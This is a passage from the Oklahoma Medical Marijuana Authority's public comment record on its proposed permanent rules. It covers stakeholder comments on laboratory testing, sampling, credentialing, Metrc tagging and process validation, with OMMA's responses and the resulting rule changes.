442:10-8-3. Sampling requirements and procedures (a) General requirements. (4) For transfer or sale of harvest batches or production batches, samples must be collected in the final form. For purpose of this Subsection, "final form" means the form medical marijuana or a medical marijuana product is in when sold or transferred. Following: (A) For all medical marijuana and medical marijuana products excluding medical marijuana products that are administered via inhalation, "final form" means the form medical marijuana or a medical marijuana product is in when sold or transferred. (B) For medical marijuana products that are administered via inhalation, "final form" means the form the medical marijuana product is in after being placed into any physical glass, metal, or plastic cartridge or container used to smoke, vaporize, vape, or e-cigarette the product.

Finally final form testing explanation.
The cheap disposable carts battery sets with the liquid. Liquid has been known to eat at the battery causing the battery to leak into product and are smoking that.
Also filth and contaminates from carts themselves

Jeremy Woods

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
This section should be removed from the QC requirements as no sample plates are handled in this manner. QC samples should replicate how actual test samples are handled, no test sample plates are left open for longer than a few seconds. A negative control sample fulfills the requirement of ensuring that the batch is prepared in a non-contaminated environment, thus making a duplicate of the negative control unnecessary

Audri Malik

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to laboratory quality control samples, the Authority reduced the requirement from every 20 samples to once every plate in an analytic run. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority reduced laboratory quality control samples required in **OAC 442:10-8-1(i)(1)(D)(ii), OAC 442:10-8-1(i)(1)(E)(ii)** and **OAC 442:10-8-1(i)(1)(E)(iii).**

Comment:
SECTION 442:10-8-1.(i)(1)(E)(ii)(III)
STRIKE ENTIRE SECTION 442:10-8-1.(i)(1)(E)(ii)(III) "An environmental negative control, a duplicate of the negative control, except that the plate shall remain open to the environment during the sample preparation period; and"

This section should be removed from the QC requirements as no sample plates are handled in this manner. QC samples should replicate how actual test samples are handled, no test sample plates are left open for longer than a few seconds. A negative control sample fulfills the requirement of ensuring that the batch is prepared in a non-contaminated environment, thus making a duplicate of the negative control unnecessary.

SECTION 442:10-8-1.(i)(4)(D)

AMEND SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

PROPOSED AMENDMENT TO SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds ten percent (10%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

This proposed amendment changes the seal integrity weight loss requirement from the proposed 1% to 10%, which is more in line with other industries that digest organic material.

Of Note: A letter from CEM, a major manufacturer of microwave digesters:

February 15, 2024

Title 442. Oklahoma Medical Marijuana Authority

RE: Proposed Permanent Rule

To whom it may concern:

CEM Corporation is a manufacturer of microwave laboratory instrumentation including acid digestion systems. The MARS 6® closed vessel microwave digestion system with Xpress® / XpressPlus® vessels has proven to be a workhorse for laboratories performing heavy metals analysis in cannabis products.

It has come to our attention that there is a proposed rule change in the Oklahoma Medical Marijuana Authority method in the following section on page 74:

Subchapter 8: Laboratory Testing
442:10-8-1: Testing Standards and Thresholds
(D) Sample Prep
The proposed change reads:

“If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed.”

CEM has been directly involved with cannabis committees and workgroups with both AOAC and ASTM, and this stipulation is not mentioned in any of their official cannabis methods.

We feel that this proposed rule change is unreasonable for the following reasons:

1. The 1% weight loss rule appears to have been taken from EPA environmental methods that were developed approximately 30 years ago using different digestion systems and vessels on different sample

matrices with completely different chemistries.

2. Organic-based samples such as cannabis produce gaseous decomposition products such as CO 2 and NO 2 when oxidized with HNO 3 ,and some of the acid is consumed. These decomposition gases may vent away during digestion and/or when the vessels are opened, and therefore do not condense back into solution. Xpress® and XpressPlus® digestion vessels which are commonly used for cannabis digestions are designed to vent away decomposition gases during heating and reseal to avoid an unsafe over-pressurization. Up to 10% reduction in final volume is expected due to loss of these decomposition gases. However, analytes, including volatiles such as As and Hg are retained in solution.

3. There is room for error in the final weight measurement if it is taken before the vessels have cooled completely to room temperature due to a buoyancy effect of warm vessels on the analytical balance. This error could account for ≥ 1% weight loss.

4. Final weight must be taken before the vessels are vented and opened. There is a safety concern for the operator with handling pressurized vessels on the analytical balance outside of the fume hood.

5. Sample integrity can be verified more accurately in the following ways:
a. Confirmation that the batch temperature met the method requirements
b. Individual vessel temperature verification
c. Recovery data of Quality Control Check Samples and Spikes

6. Will the same 1% weight loss criteria apply to the optional open beaker hot plate method? (Section (B) Instrumentation) If not, why not?

CEM Corporation has over 40 years of microwave sample preparation experience and would be very happy to discus

Ian Cameron

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D).**

Comment:
I think the employee credentialing is an important new rule. However, after the deadline to enroll how are we supposed to hire new employees? From my understanding, following the deadline, any new employee must first be approved by OMMA through the credentialing process before their start date. The credentialing process says it can take up to 90 days to be approved or denied. There is no way potential employees and employers/retailers can wait 90 days before hiring a new employee. It would be more efficient if the potential employee could begin working upon completion of the background check and proof of submission to the OMMA employee credentials. Additionally, I think the credentials should AT

LEAST last 2 years like patient cards, if not longer. Having to apply for credentials annually seems like a waste of time, resources and money.

Rylee Reece

OMMA Evaluation:
Thank you for taking the time to share your comment. The proposed permanent rules implement legislative changes mandated by SB 1704 (2022) and address changes in statute under 63 O.S. § 427.14b. The permanent rules are intended to provide a structure for the implementation of these legislative requirements, including clarification on the requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
I am not against tagging plants but would like to ensure that systems will allow us to continue with tasks as needed while plants are still growing in Metrc. Wholesale package tags in my interpretation are for end products packaged ready to be sold or it is the "end" product. When clones are cut we may not know for 3 weeks or longer to know if they will survive or not. There are so many factors for genetics and growth/death rates etc.. So if in a wholesale package no option, that I am aware of, allows us to "destroy/kill" a plant inside of a "package" tag due to that being seen as an end product ready for wholesale package to store until time to manifest. Would like to see METRC updated to match what rules state we are capable of doing. I am not against metrc as I do believe we need a system and now I am accustomed to the system just want it to work accurately.

1-plants can NOT have a "plant" tag until it is vegetative tab so new law, all plants at 12" would have to switch to veg at 12"
2-can't kill plants in a wholesale package tag (i can use damage but thats not accurate for recording purposes of real death rates etc..) therefore it doesn't transfer to waste tab when you adjust a package tag only when killing/destroy or hitting waste button. To me this defeats tracking waste properly if clones will be inside the package tags.
3-if and when we receive an item at dispensary level currently states for mislabeling we can send back to manufacturer. This occurance is if I received in METRC before noticing these labeling errors. I see a real need for this for error on labeling etc.. if we receive items incorrectly due to manufacturer mislabeling how can this be corrected as his is causing extreme losses and items going to waste when and if we could send back for correction would be a much more effective process instead of wasting product. Human errors do occur and having a fix would be very helpful but metrc does not allow to manifest backwards in system.
4- Define a vegetative plant since we will need this if tagging at 12" take the guess work out and define and allow in metrc and update with bulletin.

Labeling:
I have seen more disturbing packaging than I care to admit is in our industry at the moment. The mislabeling is out of control. We need a clear defined label and determination on "hemp" based items vs. "marijuana". D9, THCO, THCP, HHC etc... is widespread concern from me as a patient and business

owner. I think we need these mandated to be listed on packaging if it is included in our marijuana products. THIS IS A PUBLIC SAFETY ISSUE FIRST HAND. There are patients that have negative effects from these alt cannabinoids that find them in emergency rooms or extreme panic and them being in our MEDICAL MARIJUANA market without transparency is not responsible practices by many in this industry. I am saddened to see soo.... many pick up these practices without transparency, and their answer is because we can. It hurts patients because, in my opinion, we are lying to patients when we don't MANDATE the transparency of these other additives. I know many are protected under the farm bill as I am for hemp products but we need a line drawn and if it is inside of our medication then it MUST BE TRANSPARENT, an indicator stating hemp based items are included and % of each contents is the first step. Patient transparency and safety first. Then the second concern these additives are used to "CUT", the real marijuana distillate is what I am mainly referring too, to be more profitable and most everyday people don't understand all of these compounds. This is also messing with market #'s and not making it an even playing field item to item across the market. I can purchase at wholesale distillate 1g carts from $3 up to $8 now we all know you get what you pay for but patients think they are buying MEDICAL MARIJUANA not MEDICAL HEMP. Thank you for reading and reviewing all comments.

Randi Guzman

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
SUBCHAPTER 8. LABORATORY TESTING 442:10-8-1.i.1 through 7 Section (E) Laboratory quality control (LQC) requirements.
I urge you to consider each test method as separate and unique. Deciding when a batch should be repeated from the beginning (sample weigh up) cannot be treated the same. Some detectors are much more stable (ie DAD) than others (ie MS) and this must be taken into account. For example, the pesticide/mycotoxin LCMS method really should be reviewed. Low level analysis on an LCMS can vary in practice more than the limits you are trying to impose. I urge you to review published literature. For example method 538 (http://www.epa.gov/sites/default/files/2015-06/documents/epa-538.pdf), has an extensive QC section including the subjects I mention in brief below. RPDs may be ≤30-50% based on the control and concentration level analyzed. You should not just set 20% as the magic number for every test method. The same concept applies to CCVs and LCSs recovery limits with magic values for every test method in this law. Another very important decision step topic is where a control does not meet the specification for one analyte out of many in a test method. Depending on the type of control OOS, the batch may still be acceptable to approve, and we should not be forced to start a completely new batch from sample weigh up. An example is where 1 out of the 13 pesticides analyzed in a CCV at the end of a run showed 150% recovery. This is higher than 115% so it is considered OOS and the lab must start a completely new batch from sample weigh up. However, we should consider if any sample run in the batch showed presence of this pesticide. If not, then there really is no concern over this single analyte having a high recovery. All other analytes ran typical on the LCMS so the instrument is in control and this pesticide was not detected in any sample. Logically, the presence of this pesticide could give a high bias on a sample, which might push a sample over the OMMA threshold limit if the high bias noticed in a CCV were to happen in a sample. Since no sample showed presence of this analyte over the limit, this is

of no concern. Additionally, there is no worry about a false negative since a high bias would only increase the concentration, which would have resulted in the detection of the pesticide in a sample. Again, these are just the starting points that should be considered if you must set quality control procedures and data interpretation for the labs. It is important to review literature concerning the test methods unless your internal lab/people writing this law has/have extension hands-on experience running these specific analyte methods. It is very important that one use empirical data that is achievable rather than just setting the same specifications for all methods.

Cheri Turman, PhD.

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to CCV and LCS limits, the Authority will be making changes to permanent rules to clarify the CCV and LCS limits in response to this comment. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority updated the CCV and LCS limits in **OAC 442:10-8-1(i).** The CCV and LCS limits were updated at **OAC 442:10-8-1 (i)(2)(E)(i)(II), OAC 442:10-8-1 (i)(3)(E)(i)(II), OAC 442:10-8-1 (i)(4)(E)(i)(II), OAC 442:10-8-1 (i)(5)(E)(i)(II), OAC 442:10-8-1 (i)(6)(E)(i)(II),** and **OAC 442:10-8-1 (i)(7)(E)(i)(II)**.

Comment:
First the changes to hash testing are unduly burdensome. Pretty much any and all new regulations you guys are coming up with are. You need leave will enough alone. Otherwise you're going drive out this industry killing thousands of jobs and businesses and you'll cost the state millions in tax revenue. As it is were not making much profit in the industry. Don't change anything else. By the way there is no plant anywhere in this industry taking at least 6 gallons of water per day. I hope you are the error in these proposals

Adam Nobles

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. This comment also relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
All new rules for testing and pharmacists to be present in dispensaries.
It’s absolutely a horrible amendment or rule change. No, no, and no. Please listen to the patients for once and realize that this is going to severely crush an already disheartened industry.

Mitchell Harrington

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute and proposed legislation rather than proposed permanent rules. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. This comment also realtes to proposed legislation. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
All the new testing, you are making it extremely costly to conduct business. Stop trying to cripple those of us who are jumping through all the hoops!

NO

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
Please consider this correspondence as a part of the official public comment record pertaining to OMMA's proposed rules. Our comments address the following topics:
• Redundant testing:
o Expand scope of exempted testing to pesticides if the initial concentrate is already tested.
o Exempt harvest batches from contaminant testing if the entire harvest batch is allocated to extractions and sent to a commonly owned processor.
• Process validation
o Technical changes to fix typo(s) and to ensure regulatory clarity.
o Simplify program by requiring HACCP over QMS to align with realities of cannabis operations and to ensure proper enforcement from OMMA given limited resources comparatively to FDA.
• Flash frozen (outside the scope of the Authority's current proposals, but should be addressed to ensure sampling operability)
o Change to "fresh frozen".
o Allow samples of fresh frozen to be delivered to test facility within 48 hours instead of the same day the sample is taken.

We appreciate your consideration and look forward to next week's hearing.
Subject: Flash Frozen

Oklahoma Medical Marijuana Authority,

As part of the stakeholder engagement process concerning the Authority’s proposed rules, we respectfully

ask OMMA to consider the following public comment below.

OKAF, Inc. Summary Request

- Change “flash frozen” to “fresh frozen” to accurately reflect nationally recognized term within cannabis commerce.
- Allow fresh frozen to be delivered to a testing facility within 48 hours after the sample is taken to allow the harvest batch to freeze as intended as its final form.

OKAF, Inc. Proposal

OAC 442:10-8-1(i)

(9) Water activity and moisture content. Harvest batch samples shall be tested to determine the level of water activity and the percentage of moisture content in accordance with this subsection. This subsection shall not apply to harvest batches that are flash fresh frozen.

OAC 442:10-8-3(a)

(3) All commercial transporters, growers, processors or dispensaries transporting samples to a laboratory shall be prohibited from storing samples at any location other than the laboratory facility. All samples must be delivered the day of collection.

(A) Samples of fresh frozen may be stored at the location where the sample was taken and shall be delivered within 48 hours to a laboratory facility.

Reasoning

Our first requested change involving OAC 442:10-8-1(i)(9) is to change “flash frozen” to “fresh frozen”. “Fresh frozen” is the nationally recognized term that accurately reflects the product commonly used in cannabis commerce. “Flash frozen” is not a term that is used in other states when referring to frozen cannabis biomass. In fact, “fresh frozen” is so widely recognized, Colorado’s Division of Taxation will add fresh frozen to their quarterly published average market rate reports, which are used to assess excise taxes owed by cultivation businesses.

Our final recommendation seeks to refine the operational procedures for handling fresh frozen samples, acknowledging the unique logistical challenges they present. Fresh frozen biomass, due to its necessity to be immediately frozen post-harvest, demands a distinct approach for sampling and storage compared to traditionally dried biomass. To ensure the integrity and representativeness of the sample, it is imperative that the entire harvest batch is collected and then randomized samples are taken before freezing. This sequence is crucial as attempting to sample from an already frozen batch introduces significant risks of contamination and compromises the ability to obtain a truly representative sample. Moreover, maintaining the fresh frozen material at optimal conditions (below -40°F) without additional handling post-freezing is essential to prevent degradation and microbial contamination. Therefore, we advocate for a sampling protocol that accommodates the unique requirements of fresh frozen biomass, allowing sufficient time beyond 24 hours for the product to be adequately frozen. This approach not only adheres to best practices within the industry but also ensures the reliability of testing results, thereby upholding product quality and safety standards.

Conclusion

Our proposals aim to align the terminology and operational protocols of the Oklahoma Administrative Code with the established norms and best practices of the cannabis industry. By updating the term to "fresh frozen," we seek to ensure consistency and clarity within regulatory language, reflecting the term's

widespread recognition and adoption across the cannabis sector, as will be evidenced by its inclusion in Colorado's Division of Taxation reports. Furthermore, our recommendations for refining the handling and sampling procedures for fresh frozen biomass address the unique challenges posed by this product type. Adopting these changes will not only mitigate risks of contamination and degradation but also enhance the reliability of testing outcomes, thereby safeguarding product quality and consumer safety. By embracing these proposals, OMMA can demonstrate its commitment to regulatory excellence and support for the evolving needs of a dynamic industry, ultimately fostering a regulatory environment that promotes innovation, compliance, and the highest standards of product integrity.

Subject: Process Validation

Oklahoma Medical Marijuana Authority,

As part of the stakeholder engagement process concerning the Authority's proposed rules, we respectfully ask OMMA to consider the following public comment below.

OKAF, Inc. Summary Request

- Change initial requirements to achieve process validation that enables the licensee to validate specific products and contaminants.
- Address ongoing testing typo.
- Simplify program to address operational, legal, and enforcement realities.

OKAF, Inc. Proposal

OAC 442:10-11-1(c) – Standards and requirements to achieve process validation.

(3) Initial requirements to achieve process validation. Licensees seeking to achieve process validation must, identify the product and associated contaminant(s) seeking process validation using the Authority's designated seed-to-sale system, and submit every harvest batch or production batch for testing to a Certified Process Validation Testing Laboratory and must successfully pass all required testing associated with the identified contaminant(s) with no failures over a three (3) month period. However, If licensees experience a testing failure associated with a product and associated contaminant(s) being process validated licensees may follow retesting in accordance with OAC 442:10-8-1(j) or otherwise shall re-seek process validation.

(4) Ongoing requirements to maintain process validation. Licensees maintaining process validation must continue to submit every harvest batch or production batch for testing to a Certified Process Validation Testing Laboratory and must successfully pass all required testing with no failures. After successfully achieving process validation, licensees shall subject at least one harvest batch or production batch to contaminant testing once every 30-day period following the test submission date of the last sample used to achieve process validation. If during any 30-day period licensees does not possess a harvest batch or production batch that is ready for testing, licensees must subject its first harvest batch or production batch that is ready for testing to required contaminant testing prior to transfer or processing of the harvest batch or production batch. Any testing failures under process validation If licensees experience a testing failure associated with a product and associated contaminant(s) under process validation, licensees may follow retesting in accordance with OAC 442:10-8-1(j) or otherwise will require the licensee to shall revalidate the process. Licensees shall immediately notify the Authority in the manner and form prescribed by the Authority on its website and shall submit a copy of the COA to the Authority within two (2) business days. Further, the licensee must

perform and document a corrective action and preventative action (CAPA) investigation to determine the

root cause of the failure. The report shall be made available to the Authority upon request.
(5) Process validated laboratory. Licensees seeking to achieve process validation and licensees maintaining process validation must use and report results from a laboratory that is certified as a Certified Process Validation Testing Laboratory.

(6) Required programs and standard operating procedures. Licensees must utilize a Quality Management System (QMS) based on consensus standards generated by entities such as ASTM International or the International Organization for Standardization (ISO) relevant to this process validation program. Licensees seeking to achieve process validation and licensees maintaining process validation shall implement, document, and adhere to the following programs as part of the licensee's standard operating procedures:

(A) Implement and maintain a Quality Management System (QMS) documented in a quality manual that outlines the medical marijuana licensee's commitment to quality and serves as a reference guide for all quality-related activities focused on ensuring consistency in medical marijuana and medical marijuana product quality.
(i) A formal quality policy statement expressing the organizational commitment to quality;
(ii) Specific, measurable quality objectives aligned with the quality policy, aiming to ensure continuous improvement in product quality and operational efficiency;
(iii) A clear depiction of the organizational hierarchy, detailing roles and responsibilities related to quality management and process validation;
(iv) Procedures for an annual management review meeting to assess the effectiveness of the quality management system, discuss any non-conformities, and set directions for future improvements; and
(v) Mechanisms for identifying opportunities for improvements, implementing changes, and monitoring their effectiveness.

(B) Employee training program, including, but not limited to:
(i) A structured program that ensures all employees are adequately trained on their specific roles, quality principles, hygiene and sanitation practices, and any other relevant topics;
(ii) Initial and annual ongoing training requirements for all employees that at a minimum, include training on specific job responsibilities, emergency response and safety protocols, all the programs described in these Rules, and any other training required by these Rules;
(iii) Procedures for evaluating training to gauge the effectiveness of the training, including, but not limited to, training quizzes and shadowing by trained employees; and
(iv) Documentation of all training sessions, including attendees, trainers, topics covered, and date of training.

(C) Recordkeeping, record retention, and document control program including, but not limited to:

(i) A master list of documents related to process validation, including, but not limited to, document titles, version numbers, and dates of revision for all documents;
(ii) Procedures for accurately maintaining all records and documents related to product quality and compliance with these Rules, ensuring they are easily retrievable, and protected from unauthorized alterations;
(iii) Procedures for approving documents;
(iv) Defined retention periods for record retention for each type of record, indicating compliance with Oklahoma law and these Rules;
(v) Protocols and naming conventions for naming documents to ensure consistency and ease of identification; and

(vi) Procedures for document revisions and tracking document versions, ensuring that only the latest and approved version is in use.

(D) Disease and foreign material control program, including, but not limited to:
(i) Detailed policies on personal hygiene, including but not limited to, handwashing, grooming, and attire for employees and visitors;
(ii) Procedures for the use of personal protective equipment for employees and visitors;
(iii) Protocols for employees to report illnesses, ensuring they are relieved from duties that might risk contamination; and
(iv) Implemented measures to prevent contamination from foreign materials, including, but not limited to, regular inspections, use of sieves/filters, and metal detectors.

(E) Equipment program, including, but not limited to:
(i) A master list of equipment;
(ii) A defined system for equipment identification;
(iii) Equipment calibration protocols, including frequency of calibrations;
(iv) Equipment installation protocols, including documented procedures and appropriate records for verifying the equipment against the manufacturer's specifications including, but not limited to, model, capacity, checking for the presence and completeness of all equipment components and accessories, ensuring the equipment is installed in an appropriate environment including, but not limited to, clean and temperature-controlled, confirming that all necessary utility connections including, but not limited to, electrical and water are available and correctly set up, reviewing and storing equipment manuals, schematics, and installation instructions, and documenting any deviations or issues identified during installation and their resolutions;
(v) Operational check protocols, including procedures and appropriate records for verifying that all safety features and alarms are functional, testing the equipment under different settings to ensure it operates within the defined limits, confirming that the equipment can achieve and maintain required operational parameters including, but not limited to, temperature and pressure, documenting the equipment's response to potential failures or interruptions including, but not limited to, power outage, and recording any deviations or inconsistencies in operation and their resolutions;

(vi) Performance verification protocols, including procedures and appropriate records for running the equipment using actual or simulated materials to mimic real production scenarios, monitor and document key output parameters to ensure they meet the required specifications including, but not limited to, weight, conducting repeated runs to verify the consistency of the equipment's performance over time, and documenting any deviations in performance and their resolutions;
(vii) Equipment preventive maintenance and repair protocols with a preventive maintenance schedule; and
(viii) Documentation of all equipment-related activities.

(F) Sanitation program, including but not limited to:
(i) The cleaning and sanitation procedures for all equipment, tools, and facilities to ensure that all areas are free from potential contaminants and operate under hygienic conditions;
(ii) A defined frequency for cleaning and sanitation tasks;
(iii) A list of approved cleaning agents and sanitizers; and
(iv) Protocols for cleaning verification and validation.

(G) Environmental monitoring program that describes a system to regularly monitor and document environmental conditions to ensure conditions remain appropriate and consistent, including, but not

limited to:
(i) Procedures for regular monitoring of environmental conditions such as temperature, humidity, and potential contaminants, including frequency of monitoring;
(ii) Use of calibrated instruments for monitoring, with defined frequency for calibration;
(iii) Defined environmental monitoring alert limits and environmental monitoring action limits to indicate there may be something going wrong within the environment that are based on trend analysis, risk assessment, standards, and/or regulatory requirements in these Rules. For the purposes of this section, "environmental monitoring action limit" means a predetermined threshold that signifies a process has deviated from its accepted operating range and corrective action(s) must be taken and documented to restore the process to its normal state. For the purposes of this section, "environmental monitoring alert limit" means a predetermined threshold that serves as an early indication of a drift from normal environmental conditions, which, when exceeded, results in increased attention;
(iv) Procedures for corrective actions when alert or action limits are exceeded; and
(v) Documentation and trending of environmental monitoring data.

(H) Supplier qualification program, including, but not limited to:
(i) Procedures for initial assessment and approval of suppliers, including, but not limited to, audits, sample testing, and regular reviews of supplier performance, to meet the medical marijuana business's quality specifications and comply with these Rules;

(ii) Defined criteria and frequency for evaluating suppliers' quality systems and historical performance; and
(iii) Documentation of supplier performance and any corrective actions taken when supplier issues arise.

(I) Raw materials, ingredients, and final product qualification program, including, but not limited to:
(i) Protocols for inspecting and testing raw materials and ingredients upon receipt, as well as the final product before transfer;
(ii) Defined quality attributes and specifications for raw materials, ingredients, and final products;
(iii) Procedures for quarantine, approval, or rejection of raw materials, ingredients, and final products; and
(iv) Documentation of all inspections, tests, and decisions.

(J) Corrective and preventive action (CAPA) program that provides a systematic approach to investigate, address, and prevent issues related to product quality or safety, including, but not limited to:
(i) Procedures to identify, document, and address quality or safety issues;
(ii) Description of root cause analysis techniques that may be used to determine underlying causes of issues;
(iii) Defined procedures for implementing corrective actions and verifying their effectiveness to ensure that corrective actions prevent recurrence; and
(iv) Documentation and trending of all CAPA activities.

(K) Batch records program, including, but not limited to:
(i) Procedures for each stage of production or processing;
(ii) Traceability records for raw materials and ingredients used in each batch;
(iii) Procedures for reviewing and approving batch records; and
(iv) Procedures for archiving and retrieving batch records.

(L) Packaging and labeling program, including, but not limited to:

(i) Detailed step-by-step procedures for packaging and labeling and verifying packaging and labeling to ensure that final products are packaged under sanitary conditions and the labels provide accurate, compliant information that adheres to these Rules; and
(ii) Procedures for label control, including but not limited to storage, issuance, and reconciliation.

(M) Waste program, including, but not limited to:
(i) Defined categories of waste, including but not limited to waste disposal requirements of Oklahoma law and these Rules;
(ii) Protocols for segregating, storing, and disposing of waste, minimizing contamination risks, and ensuring compliance with these Rules;
(iii) Procedures for treating or decontaminating waste, if applicable; and

(iv) Documentation of all waste disposal including but not limited to documents from licensed medical marijuana waste disposal facilities, disposal logs required under OAC 442:10-5-10, and authorized industrial waste disposal entities.

(N) Storage program, including, but not limited to:
(i) Protocols for ensuring compliance with these Rules and the proper storage of raw materials, chemicals, ingredients, in-process products, final products, and retained samples. This shall include temperature and humidity controls, where appropriate, approaches to protect stored materials and products from contaminants, and approaches to minimize safety hazards;
(ii) Protocols for stock rotation, such as First In, First Out (FIFO) and First Expired, First Out (FEFO); and
(iii) Measures to protect stored items from contamination, pests, and theft.

(O) Transport and shipping program, including, but not limited to:
(i) Procedures to ensure products are transported under conditions that maintain their quality, safety, and compliance with these Rules. This shall include considerations for temperature control, protection from contamination, and secure packaging;
(ii) Use of validated shipping containers or systems; and
(iii) Documentation of transport and shipping, including any deviations or issues.

(6) Required programs and standard operating procedures. Licensees may achieve a process validation if a Hazard Analysis and Critical Control Point (HACCP) System containing elements defined in ASTM D8250-19: "Standard Practice for Applying a Hazard Analysis Critical Control Points (HACCP) System for Cannabis Consumable Products" is implemented that addresses each product type to process validation The pre-requisite programs requirements by the standard will be considered to have been met if licensees include documentation on how the sanitary and health requirements from this subsection are implemented to ensure the hygienic and safe processing of consumable marijuana. This HACCP System must address biological hazards at a minimum, and may also address additional hazards such as chemical hazards and physical hazards.
(A) If a Critical Control Point (CCP) is found to be outside of the Critical Limits (CLs) established in the HACCP plan during the production of a harvest batch or production batch then this harvest batch or production batch shall be submitted for contaminant testing for the contaminant(s) outside of the Critical Limit. For purposes of this rule, Critical Control Point (CCP) means a step in the processing of a harvest batch or production batch at which control can be applied and is essential to prevent or eliminate a safety hazard or reduce it to an acceptable level and shall have the same meaning as defined and used in ASTM Standard D8250-19.
(i) If the harvest batch or production batch passes contaminant testing, then there is no effect on the

process validation and the harvest batch or production batch may be transferred.

(ii) If the harvest batch or production batch fails contaminant testing, then licensees shall follow OAC 442:10-11-1 to reauthorize the process validation for contaminants.
(B) The HACCP System shall be documented as per ASTM D8250-19.6.1.12. The following records must be kept during the time licensees qualify for and maintains process validation:
(i) List of the HACCP team, including relevant experience;
(ii) Product description and intended use for each product type receiving process validation;
(iii) Verified process flow diagram, including Critical Control Points (CCPs);
(iv) Hazard analysis;
(v) List of CCPs and reasoning as to how they were identified;
(vi) List of Critical Limits (CLs) and reasoning as to how they were selected;
(vii) List of Monitoring Procedures for CCPs;
(viii) List of pre-planned corrective actions in case of deviations;
(ix) List of verification procedures;
(x) HACCP system summary page that includes:
(a) CCPs;
(b) Critical Limits (CLs);
(c) Monitoring procedures;
(d) Corrective actions related to specific CCPs;
(e) Verification procedures; and
(f) Record titles associated with the CCP activities (i.e. The Water Activity Monitoring Logbook, etc.);
(xi) Support documentation of the CCP validation (i.e. microbial contaminants testing results for process validation qualification and maintenance periods); and
(xii) Documents generated during operational activities related to the HACCP system, including at minimum: verified monitoring Logs for CCPs, corrective and preventive actions documentation related to CCPs, and material changes related to HACCP system.

(7) Process Validation Report. Licensees shall annually submit to the Authority a detailed Process Validation Report outlining the approach, intentions, and activities conducted during process validation and any results and findings. The Process Validation Report shall include, but is not limited to, the following:

(A) Introduction, including, but not limited to, the purpose of the process validation, a brief description of the processes being validated, and the scope of the process validation;

(B) Process validation team, including the list of employees involved in the process validation and their roles and responsibilities;

(C) Equipment, including, but not limited to, a list of equipment and instruments used and calibration and maintenance records for equipment;

(D) Process descriptions, including, but not limited to, detailed step-by-step description of each process that is required to produce final products. This includes, but is not limited to, all the processes within the programs described in this subchapter;

(E) Protocol, including, but not limited to, pre-defined criteria and methods for conducting process

validation, sampling plans, including sample size, sampling points, and frequency, and acceptance criteria for each validation activity, prescribed by these Rules and the medical marijuana business's standard operating procedures;

(F) Results, including, but not limited to, detailed results from each validation activity, data, graphs, charts, and/or other relevant evidence, comparison of results against acceptance criteria;

(G) Deviations and corrective actions, including, but not limited to, a list of deviations, nonconformances, or anomalies observed during validation activities, root cause analysis for each deviation, corrective actions taken, and their outcomes;

(H) Risk assessment, including, but not limited to, a list of identified sources of potential risks from equipment, chemicals, work processes, human behaviors, or other sources, an evaluation of the likelihood each risk will lead to harm and the severity of the impact if the risk could lead to harm, a list of implemented measures to eliminate or reduce the risk, and procedures for how these measures will be monitored, recorded, and reviewed for continuous improvement;

